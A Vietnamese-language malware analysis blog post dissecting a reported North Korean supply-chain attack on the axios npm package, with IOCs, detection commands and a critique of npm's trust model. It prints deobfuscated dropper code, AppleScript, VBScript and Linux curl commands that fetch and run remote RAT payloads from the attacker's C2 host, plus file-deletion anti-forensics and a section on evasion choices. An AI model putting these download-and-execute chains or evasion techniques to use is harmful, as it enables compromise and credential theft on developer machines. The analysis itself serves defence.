Axios bị hack: 3 tiếng, 100 triệu downloads, và một con RAT từ Bắc Triều Tiên
Mổ xẻ từng byte con RAT trong vụ axios npm supply chain attack: 5 bugs trong malware của hacker Bắc Triều Tiên nhưng vẫn compromise hàng nghìn máy trong 3 tiếng.
Bài viết này viết chi tiết với sự khó chịu với các bài phân tích và cảnh báo hời hợt mà tôi đọc được trên facebook, đọc full nếu bạn cũng ghét nó.
Con RAT có 5 bugs. Windows payload define function work() nhưng quên gọi nó. Linux payload crash trong Docker vì dùng os.getlogin() không có fallback. Binary handler reference sai tên biến, block hoàn toàn một command quan trọng. macOS binary leak nguyên development path của attacker. Và C2 domain chứa cùng handle với npm account - OPSEC cơ bản nhất mà cũng sai.
Năm bugs. Từ một nation-state actor. Nhắm vào package có hơn 100 triệu lượt download mỗi tuần.
Và nó vẫn compromise được hàng nghìn máy trong 3 tiếng.
Ngày 31 tháng 3, 2026, hai phiên bản mới của axios - thư viện HTTP client phổ biến nhất thế giới JavaScript - được publish lên npm registry từ account bị chiếm quyền của lead maintainer. Trong vỏ bọc hoàn hảo của một bản cập nhật bình thường, ẩn giấu một cross-platform RAT (Remote Access Trojan) do hacker nhà nước Bắc Triều Tiên thiết kế. Package bị gỡ sau 3 tiếng, nhưng 3 tiếng trong thế giới npm là cả một đời - hàng nghìn CI/CD pipeline đã chạy npm install, hàng nghìn máy dev đã bị compromise mà chủ nhân không hề hay biết.
Thesis: Vụ axios không phải sự cố cá biệt - nó là bản thiết kế hoàn hảo cho một cuộc tấn công supply chain hiện đại. Attacker mắc 5 lỗi nghiêm trọng mà vẫn thắng, vì npm trust model vỡ từ gốc. Bài viết này sẽ mổ xẻ từng byte của con RAT đó - từ original malware code mà tôi download và deobfuscate - và chứng minh tại sao "detection nhanh hơn" không phải câu trả lời.
Bối cảnh: Ai hack, và tại sao?

Microsoft Threat Intelligence gọi nhóm này là Sapphire Sleet. Google GTIG gọi là UNC1069. Cả hai đều chỉ về một nhóm hacker nhà nước Bắc Triều Tiên, hoạt động từ ít nhất năm 2018, chuyên nhắm vào ngành tài chính - crypto, venture capital, blockchain.
Attribution không phải đoán mò. Google dựa trên ba bằng chứng cứng:
- WAVESHAPER.V2 - payload macOS trong vụ axios là phiên bản nâng cấp của WAVESHAPER, một C++ backdoor mà Mandiant đã attribute cho UNC1069 từ trước đó.
- Infrastructure overlap - kết nối từ một AstrillVPN node cụ thể mà UNC1069 đã sử dụng trong các campaign trước.
- Adjacent infrastructure - cùng ASN, cùng pattern đăng ký domain qua Namecheap.
Mục tiêu? Tiền. Bắc Triều Tiên cần ngoại tệ, và developer machine là mỏ vàng - SSH keys, cloud credentials, crypto wallets, API tokens. Một npm install duy nhất có thể mở cửa vào toàn bộ infrastructure của công ty.
Attack Timeline: 18 tiếng chuẩn bị, 3 tiếng tấn công

| Thời gian (UTC) | Sự kiện |
|---|---|
| Trước 30/03, 23:59 | Attacker chiếm quyền npm account jasonsaayman (lead maintainer của axios) - thời điểm chính xác chưa được public confirm |
| 30/03, 23:59 | Publish [email protected] - package "sạch" để establish trust |
| 31/03, 00:21 | Publish [email protected] (tagged latest) |
| 31/03, 01:00 | Publish [email protected] (tagged legacy) |
| 31/03, 01:04 | Sonatype tự động detect và flag |
| 31/03, ~01:30 | StepSecurity Harden-Runner capture C2 callback - xác nhận malicious |
| 31/03, 03:20-03:29 | npm gỡ cả hai version |
Một chi tiết quan trọng: publisher đã thay đổi. Version hợp lệ 1.14.0 được publish qua GitHub Actions OIDC (trusted publishing). Version độc hại 1.14.1 được publish trực tiếp từ user session. Email maintainer cũng đổi từ [email protected] sang [email protected]. Hai anomaly này là red flag rõ ràng - nhưng npm registry không có cơ chế alert khi pattern thay đổi.
Giải phẫu con RAT: Từ npm install đến full compromise

Stage 0: Trojan Horse - dependency không ai import
Attacker không sửa một dòng code nào trong axios. Thay vào đó, họ thêm một dòng duy nhất vào package.json. Diff giữa version sạch và version độc hại cho thấy rõ:

Chỉ hai thay đổi: bump version từ 1.14.0 lên 1.14.1, và inject "plain-crypto-js": "^4.2.1". Không sửa một file .js nào.
plain-crypto-js là typosquat của crypto-js (thư viện crypto hợp lệ). Nhưng đây là phần hay: package này không bao giờ được import hay require() ở bất kỳ đâu trong 86 files của axios. Nó tồn tại trong package.json với MỘT mục đích duy nhất - trigger postinstall hook.

Một dependency xuất hiện trong manifest nhưng có zero usage trong codebase là high-confidence indicator của compromised release. Đây là detection heuristic mà mọi supply chain security tool nên implement.
Stage 1: Dropper - setup.js và hai lớp obfuscation
Khi npm install chạy, npm tự động execute postinstall script trong plain-crypto-js:
{
"scripts": {
"postinstall": "node setup.js"
}
}
Tôi download được bản gốc setup.js từ Socket.dev (npm package cache) và verify hash:

setup.js - mà Elastic Security Labs track dưới tên SILKBELL - là dropper: 4,209 bytes trên MỘT DÒNG DUY NHẤT, không line break. Khi beautify ra, ta thấy structure rõ hơn:

Attacker dùng hai lớp mã hóa để tránh static analysis:
Layer 1 - _trans_2(): Reverse string, thay _ bằng =, rồi Base64 decode.
Layer 2 - _trans_1(): XOR cipher với key "OrDeR_7077" và constant 333.
const _trans_1 = function(x, r) {
const E = r.split("").map(Number);
return x.split("").map((x, r) => {
const S = x.charCodeAt(0), a = E[7 * r * r % 10];
return String.fromCharCode(S ^ a ^ 333);
}).join("");
};
const _trans_2 = function(x, r) {
let E = x.split("").reverse().join("").replaceAll("_", "=");
let S = Buffer.from(E, "base64").toString("utf8");
return _trans_1(S, r);
};
const ord = "OrDeR_7077"; // XOR key
Tôi viết script deobfuscation và chạy trong Docker container (--network=none - hoàn toàn isolated). Kết quả phân tích XOR key cho thấy cipher này yếu hơn nó trông:

Key "OrDeR_7077" khi đi qua JavaScript Number(), các ký tự chữ cái (O, r, D, e, R, _) trả về NaN, và NaN trong bitwise operation trở thành 0. Chỉ có 3 vị trí (index 6, 8, 9) thực sự XOR với giá trị khác không (7). 60% characters chỉ XOR với constant 333 - trivially reversible. Cipher này đủ để bypass static scanners nhưng vỡ ngay khi ai đó ngồi đọc code.
Chạy deobfuscator trên file gốc (trong Docker --network=none), toàn bộ 18 entries trong stq[] array hiện nguyên hình:

Điều bất ngờ: stq[] không chỉ chứa individual strings như module names hay paths. stq[7] chứa nguyên template VBScript (259 chars), stq[9] chứa nguyên template AppleScript (320 chars), và stq[12] chứa full Linux curl command (115 chars). Attacker nhồi cả shell scripts vào mảng encoded - không phải build command từ các phần riêng lẻ mà pre-bake sẵn toàn bộ payload template, chỉ cần replaceAll() các placeholder (SCR_LINK, LOCAL_PATH, PS_BINARY) bằng giá trị runtime.
Ngoài ra, _entry() còn dùng thêm một lớp encoding nữa: atob() cho các template variable names - atob("TE9DQUw=") + atob("X1BBVEg=") = LOCAL_PATH. Ba lớp encoding chồng lên nhau: XOR + Base64 reversal cho stq[], atob() cho variable names, và replaceAll() cho runtime substitution.
Original source còn có thêm hai anti-analysis tricks mà tôi chỉ thấy khi đọc code gốc:
for(;;){...break}- toàn bộ platform-specific logic nằm trong infinite loop vớibreakở cuối. Pattern này confuse một số decompilers và static analyzers vì chúng expect loop body chạy nhiều lần.- Dead code:
let r=4027; r.toString().charCodeAt(2);- evaluate rồi discard kết quả. Noise để tăng entropy và confuse pattern matching. - Silent failure: Toàn bộ
_entry()và cả_trans_1()/_trans_2()đều wrapped trongtry{}catch{}rỗng. Mọi exception bị nuốt - dropper không bao giờ crashnpm install.
Stage 2: Platform Detection & Payload Delivery
Sau khi decode xong, setup.js check OS và download payload tương ứng bằng curl. Tôi reconstruct lại toàn bộ payload cho cả 3 platform:

macOS - AppleScript → Mach-O binary giả danh Apple daemon
Từ original source, stq[9] decode ra nguyên template AppleScript (320 chars):
set {a, s, d} to {"", "SCR_LINK", "/Library/Caches/com.apple.act.mond"}
try
do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & \
" -s " & s & " && chmod 770 " & d & \
" && /bin/zsh -c \"" & d & " " & s & " &\" &> /dev/null"
end try
do shell script "rm -rf LOCAL_PATH"
SCR_LINK được replaceAll() thành http://sfrclak.com:8000/6202033 at runtime. AppleScript được viết vào $TMPDIR/6202033, execute bằng nohup osascript, rồi tự xóa (rm -rf LOCAL_PATH). Hai lớp cleanup: dropper xóa chính nó, AppleScript cũng xóa chính nó.
Payload macOS là Mach-O universal binary (x86_64 + arm64) đặt tại /Library/Caches/com.apple.act.mond - giả danh Apple daemon. Reverse engineering (N3mes1s, radare2 trên ARM64) tiết lộ binary dùng nlohmann/json v3.11.3 và libcurl cho C2, Xcode project name macWebT với dev path /Users/mac/Desktop/Jain_DEV/client_mac/macWebT/ leaked trong Mach-O header.
Chi tiết quan trọng: macWebT không phải tên ngẫu nhiên. SentinelOne đã document module webT trong BlueNoroff's RustBucket campaign (2023), sau đó DoPost via libcurl trong Hidden Risk (2024). macWebT = "mac" + "WebT" - evolution trực tiếp của cùng một codebase qua 3 năm. Cùng IE8 User-Agent, cùng 60-second beacon, cùng Hostwinds infrastructure.
Windows - VBScript → PowerShell RAT với persistence
Original source cho thấy Windows chain phức tạp nhất. Trước khi deploy payload, dropper chạy where powershell để tìm PowerShell path dynamically thay vì hardcode, rồi copy nó:
// Từ original _entry() - deobfuscated
let ps_path = execSync("where powershell").toString().trim();
let ps_binary = process.env.PROGRAMDATA + "\\wt.exe"; // fake Windows Terminal
if (!fs.existsSync(ps_binary)) {
fs.copyFileSync(ps_path, ps_binary); // copy powershell.exe → wt.exe
}
Sau đó viết VBScript template (stq[7], 259 chars) với placeholder substitution:
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""SCR_LINK"" > ""PS_PATH"" & ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""SCR_LINK"" & del ""PS_PATH"" /f", 0, False
Chain hoàn chỉnh:
1. where powershell → tìm path → copy thành %PROGRAMDATA%\wt.exe
2. VBScript template → replaceAll(SCR_LINK, PS_PATH, PS_BINARY) → viết %TEMP%\6202033.vbs
3. cscript "6202033.vbs" //nologo && del "6202033.vbs" /f → execute rồi tự xóa VBS
4. VBScript gọi curl → download PowerShell RAT → execute bằng wt.exe (renamed PowerShell)
5. PowerShell RAT cài persistence: registry key MicrosoftUpdate + system.bat
Windows payload là duy nhất có persistence - macOS và Linux chỉ chạy in-memory, không survive reboot.
Nhưng đây là plot twist: Datadog Security Labs phát hiện một bug trong malware. Function work() - chứa toàn bộ RAT capabilities - được define nhưng không bao giờ được invoke. Chỉ có phần cài persistence là thực sự chạy. Attacker ship broken code.
Linux - Python RAT (cũng bị bug)
curl -o /tmp/ld.py -d packages.npm.org/product2 \http://sfrclak.com:8000/6202033
-s nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &
Linux payload là Python script, chạy background qua nohup (detach khỏi npm process, reparent về PID 1). Nhưng cũng có hai bugs nghiêm trọng:
os.getlogin()crash trong containerized environments, CI/CD, và background services - thiếu fallback vềpwd.getpwuid()dù đã import module.- Binary execution handler reference undefined variable
b64_stringthay vì parameterijtbin- block hoàn toàn khả năng nhận binary payload từ C2.
Nói cách khác: Linux RAT bị hỏng trong chính environment mà nó hay chạy nhất (Docker, CI/CD).
Stage 3: Anti-Forensics - Xóa dấu vết
Sau khi payload được download và execute (~15 giây từ lúc install), setup.js tự hủy. Trong original source, ngay cả tên file targets cũng bị obfuscate:
// Original (obfuscated):
t.unlink(K, (x=>{})) // K = __filename
t.unlink(_trans_2(stq[13], ord), (x=>{})) // stq[13] → "package.json"
t.rename(_trans_2(stq[14], ord), _trans_2(stq[13], ord), (x=>{})) // stq[14] → "package.md"
// Deobfuscated:
fs.unlink(__filename); // xóa setup.js
fs.unlink("package.json"); // xóa package.json (chứa postinstall)
fs.rename("package.md", "package.json"); // thay bằng bản sạch
Một chi tiết thú vị: toàn bộ _entry() được wrap trong try{}catch{} rỗng - nếu bất kỳ bước nào fail (network timeout, permission denied, path not found), dropper fail silently. Không log, không error, không crash npm install. User không bao giờ biết có gì xảy ra.
package.md là pre-staged clean copy - một file được attacker chuẩn bị sẵn, version 4.2.0 (thay vì 4.2.1), không có scripts section. Sau cleanup, npm list sẽ show [email protected] - version "sạch" - tạo confusion cho forensic investigator.

Version mismatch có chủ đích: installed as 4.2.1, reports as 4.2.0 post-cleanup. Subtle nhưng hiệu quả. StepSecurity Harden-Runner capture được toàn bộ timeline: C2 callback tại T+1.1 giây, package.json swap tại T+36 giây, và npm install hoàn tất bình thường - user thấy không có gì bất thường.
C2 Protocol: JSON over HTTP, giả danh traffic bình thường

Cả ba platform payload (dù viết bằng C++, PowerShell, và Python) đều implement cùng một C2 protocol:

| Parameter | Value |
|---|---|
| Server | sfrclak[.]com:8000/6202033 |
| Transport | HTTP POST, Base64-encoded JSON body |
| User-Agent | mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) |
| Beacon interval | 60 giây |
| Session ID | 16-character random alphanumeric, unique per execution |
User-Agent giả danh IE8 trên Windows XP - một lựa chọn kỳ lạ năm 2026, nhưng đủ để bypass các rule-based detection chỉ check format chứ không check logic.
Message Types
Outbound (victim → C2):
FirstInfo- gửi ngay sau khi connect: session UID, directory listing của home, Desktop, Documents,.config. Trên Windows thêm OneDrive, AppData, drive roots.BaseInfo- gửi mỗi 60 giây: hostname, username, OS, architecture, timezone, boot time, hardware model, CPU, running process list.CmdResult- kết quả sau khi execute command từ C2.
Inbound (C2 → victim):
| Command | Chức năng |
|---|---|
kill |
Terminate RAT |
peinject |
Execute base64-encoded binary payload trực tiếp trong memory |
runscript |
Execute PowerShell/shell/Python commands |
rundir |
Enumerate directories, trả về metadata (size, timestamps, permissions) |
peinject là command nguy hiểm nhất - cho phép attacker inject bất kỳ binary nào vào memory mà không cần ghi file xuống disk. Reflective loading, không để lại artifact trên filesystem.
WAVESHAPER.V2: Evolution của một DPRK backdoor

macOS payload không phải malware mới. Nó là WAVESHAPER.V2 - và nhờ full reverse engineering từ N3mes1s (radare2 trên ARM64 binary) và cross-reference với SentinelOne research, ta có thể trace nguyên cả dòng dõi:
2023 webT::send_request (Rust) → RustBucket (SentinelOne)
2024 DoPost (C++/curl) → Hidden Risk (SentinelOne)
2026 Report (C++/curl) → Axios RAT (project: macWebT)
webT là internal codename chưa bao giờ xuất hiện ngoài các campaign của BlueNoroff. macWebT = "mac" + "WebT" - đây không phải coincidence, mà là cùng team, cùng codebase, 3 năm evolution.
| Feature | RustBucket webT (2023) | Hidden Risk (2024) | Axios macWebT (2026) |
|---|---|---|---|
| Language | Rust | C++ | C++ |
| C2 lib | Rust HTTP | libcurl | libcurl |
| User-Agent | IE8/WinXP | IE8/WinXP | IE8/WinXP |
| Beacon | Response-driven | 60 seconds | 60 seconds |
| Architecture | Universal Mach-O | Universal Mach-O | Universal Mach-O |
| Hosting | Hostwinds | Hostwinds | Hostwinds |
Cùng User-Agent character-for-character qua 3 năm. Cùng Hostwinds AS54290. 9 confirmed Lazarus/BlueNoroff IPs trên cùng ASN - axios C2 (142.11.206.73) nằm trong cùng /18 netblock với 3 IPs khác đã confirmed là Lazarus infrastructure.
Thêm một chi tiết: domain callnrwise.com (adjacent C2, cùng IP) - tên domain chứa nrwise, trùng với npm account nrwise mà attacker dùng để publish plain-crypto-js. Attacker dùng cùng handle cho cả npm account và C2 domain. OPSEC fail thứ hai.
Sự tiến hóa từ raw binary protocol sang JSON over HTTP cho thấy attacker đang nâng cấp stealth - JSON traffic blend in tốt hơn với web application traffic bình thường. Nhưng C2 server chạy Express.js trên cleartext HTTP port 8000 - cho phép network MitM và kill switch trivial.
Indicators of Compromise (IOCs)


Network
| Indicator | Type |
|---|---|
sfrclak[.]com |
C2 Domain (registered 30/03/2026 via Namecheap) |
callnrwise[.]com |
Adjacent C2 domain |
142.11.206[.]73 |
C2 IP (Hostwinds) |
Port 8000 |
C2 port |
6202033 |
Campaign identifier (trong URL path và filename) |
File Hashes (SHA-256)
| Hash | Description | Source |
|---|---|---|
e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 |
SILKBELL dropper (setup.js) |
Elastic Security Labs |
92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a |
macOS payload (WAVESHAPER.V2) | Elastic Security Labs |
617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 |
Windows payload (PowerShell RAT) | Elastic Security Labs |
fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf |
Linux payload (Python RAT) | Elastic Security Labs, Unit42 |
npm Package Hashes (SHA-1)
| Hash | Package |
|---|---|
2553649f2322049666871cea80a5d0d6adc700ca |
[email protected] |
d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71 |
[email protected] |
07d889e2dadce6f3910dcbc253317d28ca61c766 |
[email protected] |
Filesystem Artifacts
| Path | Platform | Mô tả |
|---|---|---|
/Library/Caches/com.apple.act.mond |
macOS | Binary payload giả danh Apple daemon |
%PROGRAMDATA%\wt.exe |
Windows | PowerShell copy giả danh Windows Terminal |
%PROGRAMDATA%\system.bat |
Windows | Persistence script |
%TEMP%\6202033.ps1 |
Windows | PowerShell RAT |
%TEMP%\6202033.vbs |
Windows | VBScript dropper |
/tmp/ld.py |
Linux | Python RAT |
node_modules/plain-crypto-js/ |
All | Sự tồn tại của thư mục này = compromised |
MITRE ATT&CK Mapping
| TTP ID | Technique | Context |
|---|---|---|
| T1195.002 | Supply Chain Compromise: Software Supply Chain | Compromised npm package |
| T1105 | Ingress Tool Transfer | C2 payload download |
| T1219 | Remote Access Software | Cross-platform RAT |
| T1204.005 | User Execution: Malicious File | npm postinstall auto-execution |
| T1547.001 | Boot or Logon Autostart Execution | Windows Registry Run key |
| T1070.004 | Indicator Removal: File Deletion | setup.js self-deletion + manifest swap |
Bugs trong malware: Attacker cũng ship broken code

Đây là phần thú vị nhất trong toàn bộ cuộc điều tra, và cũng là lý do tôi tin rằng vụ này có thể tệ hơn RẤT NHIỀU nếu attacker không mắc sai lầm.
Bug #1 - Windows RAT function không được gọi: Function work() chứa toàn bộ RAT capabilities nhưng không bao giờ được invoke. Chỉ có phần install persistence chạy. Nghĩa là Windows victim bị cài backdoor persistence nhưng RAT thực sự không hoạt động trong phiên đầu tiên.
Bug #2 - Linux os.getlogin() crash trong container: Hàm này fail trong Docker, CI/CD runners, systemd services - chính xác là những environment phổ biến nhất cho Node.js deployment. Attacker import pwd module (có thể dùng pwd.getpwuid() làm fallback) nhưng quên implement fallback logic.
Bug #3 - Linux binary handler reference sai biến: Handler dùng b64_string (undefined) thay vì parameter ijtbin, block hoàn toàn peinject command trên Linux.
Bug #4 - OPSEC fail trong macOS binary: Development path /Users/mac/Desktop/Jain_DEV/client_mac/macWebT/ bị leak trong Mach-O binary. Project name macWebT link trực tiếp đến BlueNoroff's webT module - cung cấp attribution evidence cho investigators.
Bug #5 - OPSEC fail trong C2 domain: callnrwise.com (adjacent C2 domain, cùng IP 142.11.206.73) chứa nrwise - trùng với npm account nrwise mà attacker dùng để publish plain-crypto-js. Dùng cùng handle cho infrastructure và identity.
Năm bugs. Trong một campaign nhắm vào package 100 triệu download/tuần. Nghe có vẻ như attacker đang làm nhiều campaign cùng lúc và không test kỹ payload trước khi deploy - giống startup ship fast, break things, chỉ là "startup" này thuộc về một quốc gia bị cấm vận.
Vấn đề thực sự: npm trust model đang vỡ

Vụ axios expose một sự thật mà ngành đã biết nhưng chưa ai chịu fix: npm trust model dựa trên CON NGƯỜI, không phải CRYPTOGRAPHY.
Hãy nhìn attack chain:
1. Compromise một npm account
2. Publish version mới - npm registry accept ngay, không cần review
3. Mọi project có "axios": "^1.14.0" tự động pull 1.14.1 khi install
4. postinstall script chạy code tùy ý trên máy dev/CI - by design
Không có bước nào trong chain này có human review hay cryptographic verification. Toàn bộ trust chain dựa vào password + 2FA của MỘT người.
Có gì thay đổi sau vụ này?
npm 11.10.0 thêm tính năng min-release-age - cho phép skip version mới hơn N ngày. Nếu bạn set 30 ngày, [email protected] sẽ không bao giờ được install vì bị gỡ sau 3 tiếng.
Nhưng đây là band-aid, không phải solution. min-release-age nghĩa là bạn luôn chạy version cũ 30 ngày - trong 30 ngày đó, security patches cũng bị delay. Trade-off tệ.
Giải pháp thực sự cần structural change:
- Mandatory OIDC trusted publishing cho tất cả packages lớn (không chỉ optional)
- Anomaly detection khi publish pattern thay đổi (direct upload thay vì CI/CD, email change)
- Disable postinstall by default - npm nên require explicit opt-in thay vì opt-out
- Reproducible builds - verify package content match source code
Steel-man: "Detection đang tốt lên, npm không vỡ"

Phản biện mạnh nhất cho thesis của tôi sẽ như thế này: "Hệ thống đã HOẠT ĐỘNG. Sonatype detect trong 4 phút. StepSecurity confirm trong 1 giờ. npm gỡ trong 3 tiếng. Không có supply chain attack nào bị bắt nhanh hơn thế. Đây là bằng chứng rằng ecosystem đang tự bảo vệ tốt."
Và họ có lý. So với event-stream (2018) - nằm trong npm 2 tháng trước khi bị phát hiện - vụ axios là cải thiện vượt bậc. Detection tools đang tốt hơn, response time đang nhanh hơn, awareness đang cao hơn.
Nhưng argument này bỏ qua một sự thật toán học: detection time không quan trọng bằng attack surface.
axios có 100 triệu download/tuần. Đó là ~600 download/phút. Trong 3 tiếng exposure window, ước tính hàng chục nghìn install đã xảy ra - trên dev machines, CI/CD pipelines, production builds. Mỗi install là một lần RAT được deploy. Sonatype detect trong 4 phút là impressive, nhưng 4 phút × 600 downloads/phút = ~2.400 máy đã bị compromise TRƯỚC KHI bất kỳ ai biết.
Và đó là khi detection hoạt động hoàn hảo. Câu hỏi thực sự không phải "chúng ta có thể detect nhanh hơn không?" mà là "tại sao một account bị hack lại có thể push code chạy tự động trên hàng triệu máy ngay từ đầu?" Detection là tuyến phòng thủ thứ hai. Tuyến thứ nhất - ngăn code chạy tự động khi install - chưa bao giờ tồn tại trong npm.
Nói cách khác: bạn không fix vấn đề cháy nhà bằng cách mua xe cứu hỏa nhanh hơn. Bạn fix bằng cách không xây nhà bằng rơm.
Nghĩ như attacker: Craft of supply chain malware

Mổ xẻ xong con RAT, tôi muốn dừng lại và nhìn từ góc khác. Không phải góc defender - mà góc người viết ra nó. Không phải để ca ngợi, mà vì hiểu cách attacker tư duy là cách duy nhất để phòng thủ đúng chỗ. Mỗi quyết định trong setup.js 4,209 bytes đều có lý do - và khi bạn hiểu lý do, bạn biết phải detect ở đâu.
Obfuscation: Vừa đủ, không thừa
Sai lầm phổ biến nhất khi viết malware cho npm: obfuscate quá mạnh. Dùng webpack obfuscator, string encryption 5 lớp, control flow flattening - và kết quả là npm audit, Socket.dev, Snyk flag ngay lập tức vì entropy quá cao. Paradoxically, code "bảo mật" hơn lại bị bắt nhanh hơn.
SILKBELL chọn approach khác: obfuscation vừa đủ để bypass static scanners, nhưng không đủ để trigger anomaly detection. Phân tích quyết định từ original source:
Quyết định 1 - XOR key yếu có chủ đích. Key "OrDeR_7077" có 60% positions là 0 (NaN từ letters). Attacker BIẾT key yếu - nhưng weak XOR tạo output trông giống Base64 bình thường, không trigger entropy-based detection. Strong encryption sẽ tạo random bytes → flag ngay.
Quyết định 2 - Pre-bake template thay vì build command. stq[7] chứa nguyên VBScript 259 chars, stq[9] chứa nguyên AppleScript 320 chars. Tại sao không tách thành nhiều parts nhỏ rồi concatenate? Vì mỗi lần gọi _trans_2() là một decode operation có thể bị hook. Ít calls hơn = ít surface hơn cho dynamic analysis.
Quyết định 3 - try{}catch{} rỗng bọc mọi thứ. Không phải lazy coding. Nếu decode fail, nếu curl không tìm thấy, nếu permission denied - dropper fail silently. npm install hoàn tất bình thường. User không thấy error. Và quan trọng hơn: error log không ghi gì. Không có artifact cho forensic investigator.
Quyết định 4 - Dead code và for(;;){break}. let r=4027; r.toString().charCodeAt(2); - dòng này làm gì? Không gì cả. Nhưng nó tăng cyclomatic complexity, confuse một số decompiler, và quan trọng nhất: nó khiến automated analysis tools tốn thêm thời gian xử lý mỗi sample. Khi bạn scan triệu packages, mỗi giây thêm per-package là capacity attack lên scanner infrastructure.
Anti-forensics: Không chỉ xóa file
Phần cleanup của SILKBELL không chỉ đơn giản là rm. Đây là multi-layered evidence destruction:
Layer 1 - Self-destruct dropper. fs.unlink(__filename) - xóa chính setup.js. Đây là basic, ai cũng làm.
Layer 2 - Manifest swap. Xóa package.json (chứa postinstall hook - bằng chứng quan trọng nhất) rồi rename package.md thành package.json. File mới report version 4.2.0 thay vì 4.2.1, không có scripts section. npm list sẽ show package "sạch".
Layer 3 - Version mismatch confusion. Installed as 4.2.1, reports as 4.2.0 after cleanup. Forensic investigator chạy npm list sẽ thấy version không match lockfile → nghĩ là bug chứ không phải compromise. Misdirection.
Layer 4 - Platform-level cleanup. macOS AppleScript có do shell script "rm -rf LOCAL_PATH" - xóa chính file AppleScript sau khi execute. Windows VBScript chạy && del "LOCAL_PATH" /f ở cuối. Mỗi stage tự xóa stage trước.
Layer 5 - Silent failure = no logs. try{}catch{} rỗng nghĩa là nếu bất kỳ step nào fail, không có error trace. Không log file, không stderr, không crash report. Đối với Blue Team, đây là nightmare: bạn không thể tìm thấy thứ không để lại dấu vết.
Kết quả: sau khi malware chạy xong, node_modules/plain-crypto-js/ chỉ còn lại package.json (version 4.2.0, sạch), index.js (rỗng). Không có setup.js. Không có postinstall hook. Không có forensic artifact nào trỏ đến compromise - trừ khi bạn biết tìm ở đâu.
Supply chain thinking: Tấn công TRUST, không tấn công CODE
Điểm genius nhất của vụ axios không nằm trong malware code - code thực ra khá average, có 5 bugs. Genius nằm ở attack vector selection:
- Không sửa source code. Không fork, không pull request, không commit nào xuất hiện trên GitHub. Chỉ thêm 1 dòng vào
package.jsondependencies. GitHub repo hoàn toàn sạch - attack chỉ tồn tại trên npm registry. - Hijack maintainer, không phải package. Nếu bạn tạo typosquat (
axois,axioss), bạn phải chờ người dùng gõ sai. Nhưng nếu bạn hijack account của maintainer package gốc, mọi user hiện tại tự động pull malware qua semver range. Blast radius: từ "người gõ sai" thành "tất cả mọi người". - postinstall = code execution by design. Attacker không exploit vulnerability nào trong npm.
postinstalllà feature, không phải bug. npm designed nó để chạy arbitrary code on install. Attacker chỉ sử dụng platform đúng cách - cho mục đích sai. - Dependency injection > code injection. Thêm dependency vào package.json thì diff nhỏ, dễ bỏ qua trong review. Sửa source code thì diff lớn, dễ bị catch. Attacker chọn attack surface nhỏ nhất có thể.
- Timing: 00:21 UTC. Publish lúc nửa đêm UTC = giờ làm việc ở Đông Á, nửa đêm ở Mỹ/châu Âu. Maintainer gốc đang ngủ, security teams đang off. Maximize exposure window trước khi response.
Takeaway cho defenders
Hiểu attacker mindset dẫn đến detection strategy khác:
- Đừng tìm malware - tìm anomaly. SILKBELL bypass mọi signature-based detection. Nhưng "dependency mới không bao giờ được import" là anomaly detect được bằng static analysis đơn giản.
- Monitor publish pattern, không chỉ content. Email thay đổi + direct publish thay vì CI/CD = red flag mà npm có thể alert.
- Audit postinstall scripts.
--ignore-scriptsflag tồn tại nhưng gần như không ai dùng vì nó break quá nhiều packages. Đây là design problem cần fix ở platform level. - Lockfile là forensic artifact quan trọng nhất. Sau cleanup, lockfile là nơi DUY NHẤT còn ghi
[email protected]. Nếu bạn không check lockfile, bạn không biết mình bị compromise.
Detection: Bạn có bị ảnh hưởng không?

Chạy ngay:
# Check lockfile>/dev/null
grep -E '"axios@(1\.14\.1|0\.30\.4)"' package-lock.json yarn.lock 2# Check node_modules>/dev/null
find . -path "*/node_modules/plain-crypto-js" -type d 2# Check filesystem artifacts (macOS)>/dev/null
ls -la /Library/Caches/com.apple.act.mond 2# Check filesystem artifacts (Linux)>/dev/null
ls -la /tmp/ld.py 2# Check network connections
# macOS/Linux
lsof -i :8000 | grep -i "sfrclak\|142.11.206.73"
Trên Windows, check thêm:
# Registry persistence
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-String "MicrosoftUpdate"
# Suspicious files
Test-Path "$env:PROGRAMDATA\wt.exe"
Test-Path "$env:PROGRAMDATA\system.bat"
Nếu tìm thấy BẤT KỲ indicator nào: assume full compromise. Rotate tất cả secrets, credentials, SSH keys, API tokens trên máy đó. Không phải "có thể" - mà là "phải".
So what?

Vụ axios là wake-up call, nhưng tôi nghi nó sẽ bị quên trong 2 tuần - giống như event-stream (2018), ua-parser-js (2021), và colors.js (2022) trước nó. Industry sẽ viết blog posts, gửi advisories, rồi quay lại npm install như chưa có gì xảy ra.
Nếu bạn là developer, câu hỏi không phải "Axios có an toàn không?" mà là "Tôi có biết CHÍNH XÁC code nào đang chạy trên máy tôi mỗi khi npm install không?"
Nếu câu trả lời là không - và cho 99% developer, câu trả lời là không - thì bạn đang trust hàng nghìn strangers trên internet với quyền execute code tùy ý trên máy bạn. Mỗi ngày. Bằng design.
Lần sau khi ai đó nói npm ecosystem "đủ an toàn", hãy hỏi họ: một account bị hack, 3 tiếng exposure, cross-platform RAT từ nation-state actor - và đó là khi attacker mắc 5 lỗi. Chuyện gì xảy ra khi họ không mắc lỗi?
Original malware source: Socket.dev npm package cache (SHA-256 verified).
Full RE (Thằng này RE sai, phân tích sai khoảng 50% nhưng có rất nhiều reference =)), hoá ra giờ có kiến thức mới đọc được blog, nhưng đây sẽ là chủ đề 1 bài viết khác): N3mes1s/GitHub Gist.